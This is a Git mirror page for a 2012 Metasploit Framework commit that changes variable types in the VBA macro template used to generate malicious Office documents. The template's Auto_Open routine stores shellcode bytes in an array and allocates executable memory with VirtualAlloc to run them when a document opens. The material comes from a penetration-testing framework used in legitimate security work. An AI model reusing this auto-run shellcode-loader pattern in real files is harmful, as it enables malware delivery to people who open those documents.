infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Merge pull request #125 from scriptjunkie/master 

Compatibility - don't assign LongPtr to Long on x64
unstable
sinn3r 2012-01-23 20:14:28 -08:00
parent 54429ca5a7 ee2823d23b
commit 7f50272a05
1 changed files with 3 additions and 3 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

6
lib/msf/util/exe.rb
View File

@ -848,11 +848,11 @@ Private Declare Function RtlMoveMemory Lib \"kernel32\" (ByVal #{var_lDest} As L
#EndIf #EndIf
Sub Auto_Open() Sub Auto_Open()
Dim #{var_myByte} As Long, #{var_myArray} As Variant, #{var_res} As Long, #{var_offset} As Long Dim #{var_myByte} As Long, #{var_myArray} As Variant, #{var_offset} As Long
#If Vba7 Then #If Vba7 Then
Dim #{var_rwxpage} As LongPtr Dim #{var_rwxpage} As LongPtr, #{var_res} As LongPtr
#Else #Else
Dim #{var_rwxpage} As Long Dim #{var_rwxpage} As Long, #{var_res} As Long
#EndIf #EndIf
#{var_myArray} = Array(#{bytes}) #{var_myArray} = Array(#{bytes})
#{var_rwxpage} = VirtualAlloc(0, UBound(#{var_myArray}), &H1000, &H40) #{var_rwxpage} = VirtualAlloc(0, UBound(#{var_myArray}), &H1000, &H40)